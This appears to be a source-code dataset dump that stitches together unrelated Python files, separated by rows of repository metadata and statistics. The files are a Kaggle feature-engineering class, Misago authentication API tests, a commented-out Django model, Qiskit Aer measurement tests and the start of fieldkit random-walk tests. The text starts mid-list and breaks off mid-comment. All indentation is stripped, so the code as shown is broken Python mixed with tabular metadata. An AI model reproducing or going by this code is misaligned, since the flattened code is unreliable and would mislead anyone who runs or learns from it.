'0895b9597', '422acfada', 'a1868e9ec', '98c05b5b4', '8ff5cf8c3', 'bf257a3bc', 'f86eabcb9', 'c77f6dbfe', '014574363', 'bf2b3327b', '74f15ad1c', '7d9979702'), ('e20edfcb8', '842415efb', '300d6c1f1', '720f83290', '069a2c70b', '87a91f998', '611151826', '74507e97f', '504e4b156', 'baa95693d', 'cb4f34014', '5239ceb39', '81e02e0fa', 'dfdf4b580', 'fc9d04cd7', 'fe5d62533', 'bb6260a44', '08d1f69ef', 'b4ced4b7a', '98d90a1d1', 'b6d206324', '6456250f1', '96f5cf98a', 'f7c8c6ad3', 'cc73678bf', '5fb85905d', 'cb71f66af', '212e51bf6', 'd318bea95', 'b70c62d47', '11d86fa6a', '3988d0c5e', '42cf36d73', '9f494676e', '1c68ee044', 'a728310c8', '612bf9b47', '105233ed9', 'c18cc7d3d', 'f08c20722'), ('ec5764030', '42fdff3a0', 'fa6e76901', '6e76d5df3', '1c486f8dd', '2daf6b624', '9562ce5c8', 'cbf236577', '8e1822aa3', 'fd9968f0d', 'ed1f680d4', '6bd9d9ae3', '896d1c52d', 'b41a9fc75', 'a60974604', '9d6b84f39', '5661462ee', '186b87c05', 'e5ac02d3c', '0c4bf4863', '1fba6a5d5', '4f2f6b0b3', 'cd8048913', 'e17f1f07c', '707f193d9', '8ca08456c', '3adf5e2b5', 'a60027bb4', 'e7071d5e3', 'c7ae29e66', '50780ec40', 'f8b733d3f', '8485abcab', '994b4c2ac', '6af8b2246', 'dd85a900c', 'ccb68477c', '715fa74a4', 'adadb9a96', '77eb013ca'), ('f0317ca4f', '402b0d650', '7e78d546b', '2ad744c57', '47abb3cb4', '71ac2b961', '5b8c88c94', '293e2698e', '4bdeca0d2', '2ef8b7f4f', 'c380056bb', '2488e17f5', '20442bac4', '8e8736fc8', '8a4c53d3e', '62c547c8e', '86f13324d', 'da52febdb', '64e38e7a2', 'b0310a768', '0d866c3d7', '34a2f580b', '24bcc2f15', 'e1e8947d8', '05f11f48f', '8c8616b62', '79e0c374a', 'ad1466df8', 'f642213a6', 'f8405f8b9', '1ae0db9d5', '9dbb6b717', '0f7ae26ce', '81ec47b4c', 'ad4e33a4c', 'a78f85d49', '8de6fcbf1', '3ecc09859'), ('f0317ca4f', '402b0d650', '7e78d546b', '2ad744c57', '47abb3cb4', '71ac2b961', '5b8c88c94', '293e2698e', '4bdeca0d2', '2ef8b7f4f', 'c380056bb', '2488e17f5', '20442bac4', '8e8736fc8', '8a4c53d3e', '62c547c8e', '86f13324d', 'da52febdb', '64e38e7a2', 'b0310a768', '0d866c3d7', '34a2f580b', '24bcc2f15', 'e1e8947d8', '05f11f48f', '8c8616b62', '79e0c374a', 'ad1466df8', 'f642213a6', 'f8405f8b9', '1ae0db9d5', '9dbb6b717', '0f7ae26ce', '81ec47b4c', 'ad4e33a4c', 'a78f85d49', '8de6fcbf1', '3ecc09859', 'd2ef684ed', '9e39c29d0'), ('f1eeb56ae', '62ffce458', '497adaff8', 'ed1d5d137', 'faf7285a1', 'd83da5921', '0231f07ed', '7950f4c11', '051410e3d', '39e1796ab', '2e0148f29', '312832f30', '6f113540d', 'f3ee6ba3c', 'd9fc63fa1', '6a0b386ac', '5747a79a9', '64bf3a12a', 'c110ee2b7', '1bf37b3e2', 'fdd07cac1', '0872fe14d', 'ddef5ad30', '42088cf50', '3519bf4a4', 'a79b1f060', '97cc1b416', 'b2790ef54', '1a7de209c', '2a71f4027', 'f118f693a', '15e8a9331', '0c545307d', '363713112', '73e591019', '21af91e9b', '62a915028', '2ab5a56f5', 'a8ee55662', '316b978cd'), ('f3cf9341c', 'fa11da6df', 'd47c58fe2', '0d5215715', '555f18bd3', '134ac90df', '716e7d74d', 'c00611668', '1bf8c2597', '1f6b2bafa', '174edf08a', 'f1851d155', '5bc7ab64f', 'a61aa00b0', 'b2e82c050', '26417dec4', '53a550111', '51707c671', 'e8d9394a0', 'cbbc9c431', '6b119d8ce', 'f296082ec', 'be2e15279', '698d05d29', '38e6f8d32', '93ca30057', '7af000ac2', '1fd0a1f2a', '41bc25fef', '0df1d7b9a', '88d29cfaf', '2b2b5187e', 'bf59c51c3', 'cfe749e26', 'ad207f7bb', '11114a47a', '341daa7d1', 'a8dd5cea5', '7b672b310', 'b88e5de84'), ('fec5644cf', 'caa9883f6', '9437d8b64', '68811ba58', 'ef4b87773', 'ff558c2f2', '8d918c64f', '0b8e10df6', '2d6565ce2', '0fe78acfa', 'b75aa754d', '2ab9356a0', '4e86dd8f3', '348aedc21', 'd7568383a', '856856d94', '69900c0d1', '02c21443c', '5190d6dca', '20551fa5b', '79cc300c7', '8d8276242', 'da22ed2b8', '89cebceab', 'f171b61af', '3a07a8939', '129fe0263', 'e5b2d137a', 'aa7223176', '5ac7e84c4', '9bd66acf6', '4c938629c', 'e62c5ac64', '57535b55a', 'a1a0084e3', '2a3763e18', '474a9ec54', '0741f3757', '4fe8b17c2', 'd5754aa08')] # noqa 501
if dataset == 'train':
x = [np.expand_dims(self.train_df.drop(["target"], axis=1)[
list(c)].values, axis=-1) for c in cols if len(c) == 40]
if logloss:
y = np.log1p(self.train_df["target"].values)
else:
y = self.train_df["target"].values
if round_targets:
y = np.around(y,
decimals=round_targets)
return np.concatenate(x, axis=-1), y
elif dataset == 'test':
x = [np.expand_dims(self.test_df[list(c)].values, axis=-1)
for c in cols if len(c) == 40]
return np.concatenate(x, axis=-1)
def add_IsTargetAvaliable_as_feature(self, params=None, test=True,
verbose=True, random_seed=43,
threshold='soft',
calc_on_selected_feat=False):
'''Use a LightGBM model to predict if the target is one of the cols in the row'''
if not params:
params = {
'objective': 'binary',
'num_leaves': 20,
'min_data_in_leaf': 20,
'bagging_fraction': 0.6143, 'bagging_freq': 3,
'feature_fraction': 0.6453,
'min_split_gain': np.power(10, -2.5988),
'lambda_l1': np.power(10, -2.2887),
'lambda_l2': np.power(10, 1.7570),
'min_child_weight': np.power(10, -0.1477),
'verbose': -1,
'seed': 3,
'boosting_type': 'gbdt',
'max_depth': -1,
'learning_rate': 0.05, # 0.05
'metric': 'rmse',
'device': 'cpu',
'num_threads': 8
}
model = LightGBM(**params)
if calc_on_selected_feat:
train_df = self.keep_only_selected_features(
'train', return_only=True)
x = train_df.drop('target', axis=1).values
x = np.concatenate([x, self.train_agg.values], axis=-1)
target = train_df['target'].values
y = np.array([target[i] in x[i]
for i in range(x.shape[0])]).astype(np.int)
else:
x, target = self.get_train_data(
use_aggregates=True, logloss=False)
y = np.array([target[i] in x[i]
for i in range(x.shape[0])]).astype(np.int)
if test:
if calc_on_selected_feat:
test_df = self.keep_only_selected_features(
'test', return_only=True)
x_test = test_df.values
else:
x_test = self.get_test_data()
test_feat = model.cv_predict(x, y, x_test,
random_seed=random_seed,
logloss=False,
return_oof_pred=False)
else:
model.cv(x, y,
random_seed=random_seed,
oof_pred=False)
# Add to aggregates
train_agg = pd.DataFrame(dict(is_label=y), index=self.train_df.index)
self.train_agg = pd.concat([self.train_agg, train_agg], axis=1)
if test:
if threshold == 'hard':
thresh = 0.5
elif threshold == 'soft':
thresh = 1572 / (2887 + 1572)
else:
raise (('Invalid threshold param, must be',
'either "hard" or "soft"'))
test_feat[test_feat <= thresh] = 0
test_feat[test_feat > thresh] = 1
test_agg = pd.DataFrame(
dict(is_label=test_feat), index=self.test_df.index)
self.test_agg = pd.concat([self.test_agg, test_agg], axis=1)
def get_validation_set_from_leaky_test(self, sub_path,
logloss=False, return_index=False):
'''Use leaky rows from test as validation set'''
val_df = load_df_from_path(sub_path)
idx = list(val_df[val_df.target > 0].index)
val_df = val_df.target.values
X_test = self.get_test_data()[val_df > 0]
Y_test = val_df[val_df > 0]
if logloss:
Y_test = np.log1p(Y_test)
if return_index:
return idx, X_test, Y_test
else:
return X_test, Y_test
# def get_train_data_plus_leaky_test_rows(self, **kwargs):
# '''Get leaky test rows as additional training data'''
# get_train_data
if __name__ == '__main__':
train_path = './train.csv'
test_path = './test.csv'
dataset = KaggleDataset(train_path, test_path=test_path)
print(dataset.train_df.describe(), dataset.test_df.describe())
| 149.918632 | 44,542 | 0.653554 | 11,626 | 127,131 | 7.044641 | 0.315242 | 0.013419 | 0.013016 | 0.010989 | 0.905178 | 0.89099 | 0.878903 | 0.869061 | 0.860795 | 0.853616 | 0 | 0.362693 | 0.14688 | 127,131 | 847 | 44,543 | 150.095632 | 0.392447 | 0.027704 | 0 | 0.38209 | 0 | 0.002985 | 0.523233 | 0.005932 | 0 | 0 | 0 | 0 | 0.002985 | 1 | 0.049254 | false | 0 | 0.035821 | 0 | 0.120896 | 0.022388 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
40d36b560fb0ff461130b08c0480db6262a03251 | 16,298 | py | Python | misago/users/tests/test_auth_api.py | HenryChenV/iJiangNan | 68f156d264014939f0302222e16e3125119dd3e3 | [
"MIT"
] | 1 | 2017-07-25T03:04:36.000Z | 2017-07-25T03:04:36.000Z | misago/users/tests/test_auth_api.py | HenryChenV/iJiangNan | 68f156d264014939f0302222e16e3125119dd3e3 | [
"MIT"
] | null | null | null | misago/users/tests/test_auth_api.py | HenryChenV/iJiangNan | 68f156d264014939f0302222e16e3125119dd3e3 | [
"MIT"
] | null | null | null | from django.contrib.auth import get_user_model
from django.core import mail
from django.test import TestCase
from misago.users.models import Ban
from misago.users.tokens import make_password_change_token
UserModel = get_user_model()
class GatewayTests(TestCase):
def test_api_invalid_credentials(self):
"""login api returns 400 on invalid POST"""
response = self.client.post(
'/api/auth/', data={
'username': 'nope',
'password': 'nope',
}
)
self.assertContains(response, "Login or password is incorrect.", status_code=400)
response = self.client.get('/api/auth/')
self.assertEqual(response.status_code, 200)
user_json = response.json()
self.assertIsNone(user_json['id'])
def test_login(self):
"""api signs user in"""
user = UserModel.objects.create_user('Bob', 'bob@test.com', 'Pass.123')
response = self.client.post(
'/api/auth/',
data={
'username': 'Bob',
'password': 'Pass.123',
},
)
self.assertEqual(response.status_code, 200)
response = self.client.get('/api/auth/')
self.assertEqual(response.status_code, 200)
user_json = response.json()
self.assertEqual(user_json['id'], user.id)
self.assertEqual(user_json['username'], user.username)
def test_login_whitespaces_password(self):
"""api signs user in with password left untouched"""
user = UserModel.objects.create_user('Bob', 'bob@test.com', ' Pass.123 ')
response = self.client.post(
'/api/auth/',
data={
'username': 'Bob',
'password': 'Pass.123',
},
)
self.assertEqual(response.status_code, 400)
response = self.client.post(
'/api/auth/',
data={
'username': 'Bob',
'password': ' Pass.123 ',
},
)
self.assertEqual(response.status_code, 200)
response = self.client.get('/api/auth/')
self.assertEqual(response.status_code, 200)
user_json = response.json()
self.assertEqual(user_json['id'], user.id)
self.assertEqual(user_json['username'], user.username)
def test_submit_empty(self):
"""login api errors for no body"""
response = self.client.post('/api/auth/')
self.assertContains(response, 'empty_data', status_code=400)
def test_login_banned(self):
"""login api fails to sign banned user in"""
UserModel.objects.create_user('Bob', 'bob@test.com', 'Pass.123')
ban = Ban.objects.create(
check_type=Ban.USERNAME,
banned_value='bob',
user_message='You are tragically banned.',
)
response = self.client.post(
'/api/auth/',
data={
'username': 'Bob',
'password': 'Pass.123',
},
)
self.assertEqual(response.status_code, 400)
response_json = response.json()
self.assertEqual(response_json['code'], 'banned')
self.assertEqual(response_json['detail']['message']['plain'], ban.user_message)
self.assertEqual(
response_json['detail']['message']['html'], '<p>%s</p>' % ban.user_message
)
response = self.client.get('/api/auth/')
self.assertEqual(response.status_code, 200)
user_json = response.json()
self.assertIsNone(user_json['id'])
def test_login_banned_staff(self):
"""login api signs banned staff member in"""
user = UserModel.objects.create_user('Bob', 'bob@test.com', 'Pass.123')
user.is_staff = True
user.save()
Ban.objects.create(
check_type=Ban.USERNAME,
banned_value='bob',
user_message='You are tragically banned.',
)
response = self.client.post(
'/api/auth/',
data={
'username': 'Bob',
'password': 'Pass.123',
},
)
self.assertEqual(response.status_code, 200)
response = self.client.get('/api/auth/')
self.assertEqual(response.status_code, 200)
user_json = response.json()
self.assertEqual(user_json['id'], user.id)
self.assertEqual(user_json['username'], user.username)
def test_login_inactive_admin(self):
"""login api fails to sign admin-activated user in"""
UserModel.objects.create_user('Bob', 'bob@test.com', 'Pass.123', requires_activation=1)
response = self.client.post(
'/api/auth/',
data={
'username': 'Bob',
'password': 'Pass.123',
},
)
self.assertEqual(response.status_code, 400)
response_json = response.json()
self.assertEqual(response_json['code'], 'inactive_user')
response = self.client.get('/api/auth/')
self.assertEqual(response.status_code, 200)
user_json = response.json()
self.assertIsNone(user_json['id'])
def test_login_inactive_user(self):
"""login api fails to sign user-activated user in"""
UserModel.objects.create_user('Bob', 'bob@test.com', 'Pass.123', requires_activation=2)
response = self.client.post(
'/api/auth/',
data={
'username': 'Bob',
'password': 'Pass.123',
},
)
self.assertEqual(response.status_code, 400)
response_json = response.json()
self.assertEqual(response_json['code'], 'inactive_admin')
response = self.client.get('/api/auth/')
self.assertEqual(response.status_code, 200)
user_json = response.json()
self.assertIsNone(user_json['id'])
def test_login_disabled_user(self):
"""its impossible to sign in to disabled account"""
user = UserModel.objects.create_user('Bob', 'bob@test.com', 'Pass.123', is_active=False)
user.is_staff = True
user.save()
response = self.client.post(
'/api/auth/',
data={
'username': 'Bob',
'password': 'Pass.123',
},
)
self.assertContains(response, "Login or password is incorrect.", status_code=400)
response = self.client.get('/api/auth/')
self.assertEqual(response.status_code, 200)
user_json = response.json()
self.assertIsNone(user_json['id'])
class UserCredentialsTests(TestCase):
def test_edge_returns_response(self):
"""api edge has no showstoppers"""
response = self.client.get('/api/auth/criteria/')
self.assertEqual(response.status_code, 200)
class SendActivationAPITests(TestCase):
def setUp(self):
self.user = UserModel.objects.create_user('Bob', 'bob@test.com', 'Pass.123')
self.user.requires_activation = 1
self.user.save()
self.link = '/api/auth/send-activation/'
def test_submit_valid(self):
"""request activation link api sends reset link mail"""
response = self.client.post(
self.link,
data={
'email': self.user.email,
},
)
self.assertEqual(response.status_code, 200)
self.assertIn('Activate Bob', mail.outbox[0].subject)
def test_submit_banned(self):
"""request activation link api passes for banned users"""
Ban.objects.create(
check_type=Ban.USERNAME,
banned_value=self.user.username,
user_message='Nope!',
)
response = self.client.post(
self.link,
data={
'email': self.user.email,
},
)
self.assertEqual(response.status_code, 200)
self.assertIn('Activate Bob', mail.outbox[0].subject)
def test_submit_disabled(self):
"""request activation link api fails disabled users"""
self.user.is_active = False
self.user.save()
response = self.client.post(
self.link,
data={
'email': self.user.email,
},
)
self.assertContains(response, 'not_found', status_code=400)
self.assertTrue(not mail.outbox)
def test_submit_empty(self):
"""request activation link api errors for no body"""
response = self.client.post(self.link)
self.assertContains(response, 'empty_email', status_code=400)
self.assertTrue(not mail.outbox)
def test_submit_invalid(self):
"""request activation link api errors for invalid email"""
response = self.client.post(
self.link,
data={
'email': 'fake@mail.com',
},
)
self.assertContains(response, 'not_found', status_code=400)
self.assertTrue(not mail.outbox)
def test_submit_active_user(self):
"""request activation link api errors for active user"""
self.user.requires_activation = 0
self.user.save()
response = self.client.post(
self.link,
data={
'email': self.user.email,
},
)
self.assertContains(response, 'Bob, your account is already active.', status_code=400)
def test_submit_inactive_user(self):
"""request activation link api errors for admin-activated users"""
self.user.requires_activation = 2
self.user.save()
response = self.client.post(
self.link,
data={
'email': self.user.email,
},
)
self.assertContains(response, 'inactive_admin', status_code=400)
self.assertTrue(not mail.outbox)
# but succeed for user-activated
self.user.requires_activation = 1
self.user.save()
response = self.client.post(
self.link, data={
'email': self.user.email,
}
)
self.assertEqual(response.status_code, 200)
self.assertTrue(mail.outbox)
class SendPasswordFormAPITests(TestCase):
def setUp(self):
self.user = UserModel.objects.create_user('Bob', 'bob@test.com', 'Pass.123')
self.link = '/api/auth/send-password-form/'
def test_submit_valid(self):
"""request change password form link api sends reset link mail"""
response = self.client.post(
self.link,
data={
'email': self.user.email,
},
)
self.assertEqual(response.status_code, 200)
self.assertIn('Change Bob password', mail.outbox[0].subject)
def test_submit_banned(self):
"""request change password form link api sends reset link mail"""
Ban.objects.create(
check_type=Ban.USERNAME,
banned_value=self.user.username,
user_message='Nope!',
)
response = self.client.post(
self.link,
data={
'email': self.user.email,
},
)
self.assertEqual(response.status_code, 200)
self.assertIn('Change Bob password', mail.outbox[0].subject)
def test_submit_disabled(self):
"""request change password form api fails disabled users"""
self.user.is_active = False
self.user.save()
response = self.client.post(
self.link,
data={
'email': self.user.email,
},
)
self.assertContains(response, 'not_found', status_code=400)
self.assertTrue(not mail.outbox)
def test_submit_empty(self):
"""request change password form link api errors for no body"""
response = self.client.post(self.link)
self.assertContains(response, 'empty_email', status_code=400)
self.assertTrue(not mail.outbox)
def test_submit_invalid(self):
"""request change password form link api errors for invalid email"""
response = self.client.post(
self.link,
data={
'email': 'fake@mail.com',
},
)
self.assertContains(response, 'not_found', status_code=400)
self.assertTrue(not mail.outbox)
def test_submit_inactive_user(self):
"""request change password form link api errors for inactive users"""
self.user.requires_activation = 1
self.user.save()
response = self.client.post(
self.link,
data={
'email': self.user.email,
},
)
self.assertContains(response, 'inactive_user', status_code=400)
self.user.requires_activation = 2
self.user.save()
response = self.client.post(
self.link,
data={
'email': self.user.email,
},
)
self.assertContains(response, 'inactive_admin', status_code=400)
self.assertTrue(not mail.outbox)
class ChangePasswordAPITests(TestCase):
def setUp(self):
self.user = UserModel.objects.create_user('Bob', 'bob@test.com', 'Pass.123')
self.link = '/api/auth/change-password/%s/%s/'
def test_submit_valid(self):
"""submit change password form api changes password"""
response = self.client.post(
self.link % (self.user.pk, make_password_change_token(self.user)),
data={
'password': 'n3wp4ss!',
},
)
self.assertEqual(response.status_code, 200)
user = UserModel.objects.get(id=self.user.pk)
self.assertTrue(user.check_password('n3wp4ss!'))
def test_submit_with_whitespaces(self):
"""submit change password form api changes password with whitespaces"""
response = self.client.post(
self.link % (self.user.pk, make_password_change_token(self.user)),
data={
'password': ' n3wp4ss! ',
},
)
self.assertEqual(response.status_code, 200)
user = UserModel.objects.get(id=self.user.pk)
self.assertTrue(user.check_password(' n3wp4ss! '))
def test_invalid_token_link(self):
"""api errors on invalid user id link"""
response = self.client.post(self.link % (self.user.pk, 'asda7ad89sa7d9s789as'))
self.assertContains(response, "Form link is invalid.", status_code=400)
def test_banned_user_link(self):
"""request errors because user is banned"""
Ban.objects.create(
check_type=Ban.USERNAME,
banned_value=self.user.username,
user_message='Nope!',
)
response = self.client.post(
self.link % (self.user.pk, make_password_change_token(self.user))
)
self.assertContains(response, "Your link has expired.", status_code=400)
def test_inactive_user(self):
"""change password api errors for inactive users"""
self.user.requires_activation = 1
self.user.save()
response = self.client.post(
self.link % (self.user.pk, make_password_change_token(self.user))
)
self.assertContains(response, "Your link has expired.", status_code=400)
self.user.requires_activation = 2
self.user.save()
response = self.client.post(
self.link % (self.user.pk, make_password_change_token(self.user))
)
self.assertContains(response, "Your link has expired.", status_code=400)
def test_disabled_user(self):
"""change password api errors for disabled users"""
self.user.is_active = False
self.user.save()
response = self.client.post(
self.link % (self.user.pk, make_password_change_token(self.user))
)
self.assertContains(response, "Form link is invalid.", status_code=400)
def test_submit_empty(self):
"""change password api errors for empty body"""
response = self.client.post(
self.link % (self.user.pk, make_password_change_token(self.user))
)
self.assertContains(response, "This password is too shor", status_code=400)
| 31.46332 | 96 | 0.582157 | 1,798 | 16,298 | 5.151279 | 0.07842 | 0.04837 | 0.081624 | 0.078385 | 0.872166 | 0.85284 | 0.813755 | 0.801987 | 0.774563 | 0.758475 | 0 | 0.018544 | 0.295251 | 16,298 | 517 | 97 | 31.524178 | 0.787829 | 0.089213 | 0 | 0.701333 | 0 | 0 | 0.103927 | 0.005921 | 0 | 0 | 0 | 0 | 0.194667 | 1 | 0.088 | false | 0.109333 | 0.013333 | 0 | 0.114667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 8 |
40dde4729546450d0598707b5cb861ccc65de6fa | 699 | py | Python | website/models.py | folse/MTS | 183f7d479d5f6f90ad1bdd6a20d7ec334476dce1 | [
"MIT"
] | null | null | null | website/models.py | folse/MTS | 183f7d479d5f6f90ad1bdd6a20d7ec334476dce1 | [
"MIT"
] | null | null | null | website/models.py | folse/MTS | 183f7d479d5f6f90ad1bdd6a20d7ec334476dce1 | [
"MIT"
] | null | null | null | #coding: utf-8
from django.db import models
from django.contrib.auth.models import User
# class PlaceModel(models.Model):
# user = models.OneToOneField(User)
# objectId = models.CharField(max_length=256)
# name = models.CharField(max_length=32)
# address = models.CharField(max_length=256)
# category = models.CharField(max_length=128)
# phone = models.CharField(max_length=32)
# #photo = models.CharField(max_length=512)
# open_hour = models.CharField(max_length=128)
# latitude = models.CharField(max_length=32)
# longitude = models.CharField(max_length=32)
# news = models.CharField(max_length=512)
# description = models.CharField(max_length=512) | 41.117647 | 52 | 0.723891 | 90 | 699 | 5.488889 | 0.377778 | 0.334008 | 0.40081 | 0.534413 | 0.593117 | 0 | 0 | 0 | 0 | 0 | 0 | 0.050847 | 0.155937 | 699 | 17 | 52 | 41.117647 | 0.786441 | 0.854077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
90526a32540c0b6cdf12a459ebe106f7cc0a7200 | 6,177 | py | Python | test/terra/backends/qasm_simulator/qasm_measure.py | eliarbel/qiskit-aer | 827f8922948dd18a588e8617bccaec465934280f | [
"Apache-2.0"
] | 1 | 2019-07-26T05:04:14.000Z | 2019-07-26T05:04:14.000Z | test/terra/backends/qasm_simulator/qasm_measure.py | eliarbel/qiskit-aer | 827f8922948dd18a588e8617bccaec465934280f | [
"Apache-2.0"
] | 29 | 2018-12-19T10:11:00.000Z | 2018-12-19T10:16:18.000Z | test/terra/backends/qasm_simulator/qasm_measure.py | atilag/qiskit-aer | d964795b0a24b1d3287ba2ba2dda45d1dfed4a5d | [
"Apache-2.0"
] | null | null | null | # This code is part of Qiskit.
#
# (C) Copyright IBM 2018, 2019.
#
# This code is licensed under the Apache License, Version 2.0. You may
# obtain a copy of this license in the LICENSE.txt file in the root directory
# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.
#
# Any modifications or derivative works of this code must retain this
# copyright notice, and modified files need to carry a notice indicating
# that they have been altered from the originals.
"""
QasmSimulator Integration Tests
"""
from test.terra.reference import ref_measure
from qiskit.compiler import assemble
from qiskit.providers.aer import QasmSimulator
class QasmMeasureTests:
"""QasmSimulator measure tests."""
SIMULATOR = QasmSimulator()
BACKEND_OPTS = {}
# ---------------------------------------------------------------------
# Test measure
# ---------------------------------------------------------------------
def test_measure_deterministic_with_sampling(self):
"""Test QasmSimulator measure with deterministic counts with sampling"""
shots = 100
circuits = ref_measure.measure_circuits_deterministic(
allow_sampling=True)
targets = ref_measure.measure_counts_deterministic(shots)
qobj = assemble(circuits, self.SIMULATOR, shots=shots)
result = self.SIMULATOR.run(
qobj, backend_options=self.BACKEND_OPTS).result()
self.is_completed(result)
self.compare_counts(result, circuits, targets, delta=0)
def test_measure_deterministic_without_sampling(self):
"""Test QasmSimulator measure with deterministic counts without sampling"""
shots = 100
circuits = ref_measure.measure_circuits_deterministic(
allow_sampling=False)
targets = ref_measure.measure_counts_deterministic(shots)
qobj = assemble(circuits, self.SIMULATOR, shots=shots)
result = self.SIMULATOR.run(
qobj, backend_options=self.BACKEND_OPTS).result()
self.is_completed(result)
self.compare_counts(result, circuits, targets, delta=0)
def test_measure_nondeterministic_with_sampling(self):
"""Test QasmSimulator measure with non-deterministic counts with sampling"""
shots = 2000
circuits = ref_measure.measure_circuits_nondeterministic(
allow_sampling=True)
targets = ref_measure.measure_counts_nondeterministic(shots)
qobj = assemble(circuits, self.SIMULATOR, shots=shots)
result = self.SIMULATOR.run(
qobj, backend_options=self.BACKEND_OPTS).result()
self.is_completed(result)
self.compare_counts(result, circuits, targets, delta=0.05 * shots)
def test_measure_nondeterministic_without_sampling(self):
"""Test QasmSimulator measure with nin-deterministic counts without sampling"""
shots = 2000
circuits = ref_measure.measure_circuits_nondeterministic(
allow_sampling=False)
targets = ref_measure.measure_counts_nondeterministic(shots)
qobj = assemble(circuits, self.SIMULATOR, shots=shots)
result = self.SIMULATOR.run(
qobj, backend_options=self.BACKEND_OPTS).result()
self.is_completed(result)
self.compare_counts(result, circuits, targets, delta=0.05 * shots)
# ---------------------------------------------------------------------
# Test multi-qubit measure qobj instruction
# ---------------------------------------------------------------------
def test_measure_deterministic_multi_qubit_with_sampling(self):
"""Test QasmSimulator multi-qubit measure with deterministic counts with sampling"""
shots = 100
qobj = ref_measure.measure_circuits_qobj_deterministic(
allow_sampling=True)
qobj.config.shots = shots
circuits = [experiment.header.name for experiment in qobj.experiments]
targets = ref_measure.measure_counts_qobj_deterministic(shots)
result = self.SIMULATOR.run(
qobj, backend_options=self.BACKEND_OPTS).result()
self.is_completed(result)
self.compare_counts(result, circuits, targets, delta=0)
def test_measure_deterministic_multi_qubit_without_sampling(self):
"""Test QasmSimulator multi-qubit measure with deterministic counts without sampling"""
shots = 100
qobj = ref_measure.measure_circuits_qobj_deterministic(
allow_sampling=False)
qobj.config.shots = shots
circuits = [experiment.header.name for experiment in qobj.experiments]
targets = ref_measure.measure_counts_qobj_deterministic(shots)
result = self.SIMULATOR.run(
qobj, backend_options=self.BACKEND_OPTS).result()
self.is_completed(result)
self.compare_counts(result, circuits, targets, delta=0)
def test_measure_nondeterministic_multi_qubit_with_sampling(self):
"""Test QasmSimulator measure with non-deterministic counts"""
shots = 2000
qobj = ref_measure.measure_circuits_qobj_nondeterministic(
allow_sampling=True)
qobj.config.shots = shots
circuits = [experiment.header.name for experiment in qobj.experiments]
targets = ref_measure.measure_counts_qobj_nondeterministic(shots)
result = self.SIMULATOR.run(
qobj, backend_options=self.BACKEND_OPTS).result()
self.is_completed(result)
self.compare_counts(result, circuits, targets, delta=0.05 * shots)
def test_measure_nondeterministic_multi_qubit_without_sampling(self):
"""Test QasmSimulator measure with non-deterministic counts"""
shots = 2000
qobj = ref_measure.measure_circuits_qobj_nondeterministic(
allow_sampling=False)
qobj.config.shots = shots
circuits = [experiment.header.name for experiment in qobj.experiments]
targets = ref_measure.measure_counts_qobj_nondeterministic(shots)
result = self.SIMULATOR.run(
qobj, backend_options=self.BACKEND_OPTS).result()
self.is_completed(result)
self.compare_counts(result, circuits, targets, delta=0.05 * shots)
| 46.795455 | 95 | 0.677837 | 677 | 6,177 | 5.980798 | 0.163959 | 0.059274 | 0.067177 | 0.057298 | 0.836503 | 0.829094 | 0.822425 | 0.793776 | 0.754754 | 0.754754 | 0 | 0.011371 | 0.202687 | 6,177 | 131 | 96 | 47.152672 | 0.810761 | 0.228914 | 0 | 0.844444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.088889 | false | 0 | 0.033333 | 0 | 0.155556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
908ee2ac26023dac6aa93c281a873f9f20227ae6 | 29,230 | py | Python | fieldkit/test/test_simulate.py | mphoward/fieldkit | c45e32129979f23ce0441109bc03e2cb5aad1411 | [
"BSD-3-Clause"
] | null | null | null | fieldkit/test/test_simulate.py | mphoward/fieldkit | c45e32129979f23ce0441109bc03e2cb5aad1411 | [
"BSD-3-Clause"
] | 3 | 2020-04-25T21:39:48.000Z | 2020-12-14T23:12:14.000Z | fieldkit/test/test_simulate.py | mphoward/fieldkit | c45e32129979f23ce0441109bc03e2cb5aad1411 | [
"BSD-3-Clause"
] | 1 | 2020-03-17T22:00:42.000Z | 2020-03-17T22:00:42.000Z | """ Unit tests for fieldkit.simulate
"""
import unittest
import numpy as np
import fieldkit
class RandomWalkTest(unittest.TestCase):
""" Test cases for :py:class:`~fieldkit.simulate.random_walk`
"""
def test_one_step(self):
""" Test simple random walk rules for one step.
"""
mesh = fieldkit.Mesh().from_lattice(N=3, lattice=fieldkit.HOOMDLattice(L=3.0))
field = fieldkit.Field(mesh).from_array(np.ones(mesh.shape))
field[:,:,0] = 0
domain = fieldkit.domain.digitize(field, threshold=0.5)
traj,x,im = fieldkit.simulate.random_walk(domain, N=2, steps=1, runs=10, seed=42)
# check shape of output is OK
self.assertEqual(traj.shape, (10,2,3))
self.assertEqual(x.shape, (2,3))
self.assertEqual(im.shape, (2,3))
# check that all coords are still in box
self.assertTrue(np.all(x >= 0))
self.assertTrue(np.all(x < 3))
# walk cannot enter z = 0
self.assertTrue(np.all(traj[:,:,2] != 0))
# with 10 steps, a particle cannot have traveled more than 3 images
self.assertTrue(np.all(im >= -3))
self.assertTrue(np.all(im < 3))
# check that trajectory is continuous (no step is larger than 1)
# 0->1
